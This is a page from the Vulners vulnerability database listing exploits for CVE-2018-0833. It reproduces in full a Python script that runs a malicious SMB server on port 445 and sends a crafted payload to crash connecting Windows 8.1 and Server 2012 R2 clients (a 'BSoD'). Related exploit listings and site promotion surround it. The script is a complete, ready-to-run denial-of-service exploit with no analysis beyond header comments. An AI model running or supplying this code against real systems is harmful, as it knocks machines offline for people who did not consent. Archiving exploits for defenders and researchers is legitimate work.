Microsoft Windows 8.12012 R2 - SMBv3 Null Pointer Dereference Denial of Service
| Reporter | Title | Published | Views | Family All 30 |
|---|---|---|---|---|
 | Microsoft Windows 8.1/2012 R2 - SMB Denial of Service Exploit | 27 Feb 201800:00 | – | zdt |
 | Exploit for CVE-2017-0213 | 30 Mar 202007:11 | – | gitee |
| Exploit for CVE-2017-0213 | 2 May 202111:53 | – | gitee |
| Exploit for CVE-2017-0213 | 6 Jul 201821:17 | – | gitee |
| Exploit for CVE-2017-0213 | 18 Feb 202023:55 | – | gitee |
| Exploit for CVE-2017-0213 | 6 May 202011:50 | – | gitee |
| Exploit for CVE-2017-0213 | 25 Aug 202000:20 | – | gitee |
 | mrxsmb.sys DoS | 1 Mar 201800:00 | – | bdu_fstec |
 | CVE-2018-0833 | 27 Feb 201800:00 | – | circl |
 | Microsoft Server Message Block Client Denial of Service Vulnerability | 26 Feb 201800:00 | – | cnvd |
10
# Exploit Title: Microsoft Windows SMB Client Null Pointer Dereference Denial of Service
# Date: 26/02/2018
# Exploit Author: Nabeel Ahmed
# Version: SMBv3
# Tested on: Windows 8.1 (x86), Windows Server 2012 R2 (x64)
# CVE : CVE-2018-0833
import SocketServer
from binascii import unhexlify
payload = '000000ecfd534d4241414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141'
class byebye(SocketServer.BaseRequestHandler):
def handle(self):
try:
print "From:", self.client_address
print "[*]Sending Payload..."
self.request.send(unhexlify(payload))
except Exception:
print "BSoD Triggered on", self.client_address
pass
SocketServer.TCPServer.allow_reuse_address = 1
launch = SocketServer.TCPServer(('', 445),byebye)
launch.serve_forever()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
27 Feb 2018 00:00Current
6.5Medium risk
Vulners AI Score6.5
EPSS0.39897